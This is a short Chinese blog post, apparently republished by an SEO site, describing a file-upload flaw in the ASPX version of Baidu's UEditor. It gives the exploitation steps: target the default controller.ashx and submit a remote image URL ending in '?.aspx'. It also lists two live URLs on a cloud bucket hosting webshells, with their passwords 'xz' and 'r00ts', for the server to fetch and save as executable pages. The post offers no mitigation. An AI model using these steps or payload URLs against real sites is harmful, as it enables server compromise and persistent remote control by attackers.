ueditor 文件上传漏洞_ueditor编辑器上传漏洞

摘要：　　UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器，具有轻量、可定制、用户体验优秀等特点。开源基于BSD协议，所有源代码在协议允许范围...

UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器，具有轻量、可定制、用户体验优秀等特点。开源基于BSD协议，所有源代码在协议允许范围内可自由修改和使用。百度UEditor的推出，可以帮助不少网站开发者在开发富文本编辑器所遇到的难题，节约开发者因开发富文本编辑器所需要的大量时间，有效降低了企业的开发成本。

ueditor ASPX 版本由于远程抓取代码缺陷导致的安全漏洞， 官方仍未修复

controller.ashx 文件默认在网站根目录

输入框里填写远程图片地址 + ?.aspx, 如 HTTP://exp10it.cn/1.gif?.aspx

shell addr:

一句话 密码 xz

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/1.gif?.aspx

大马 密码 r00ts

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/2.gif?.aspx

版权声明：本文为能金SEO原创发布，仅代表作者观点，不代表能金博客网的观点或立场，能金博客网仅提供信息发布平台，合作供稿、侵权删除、反馈建议请联系23006896@qq.com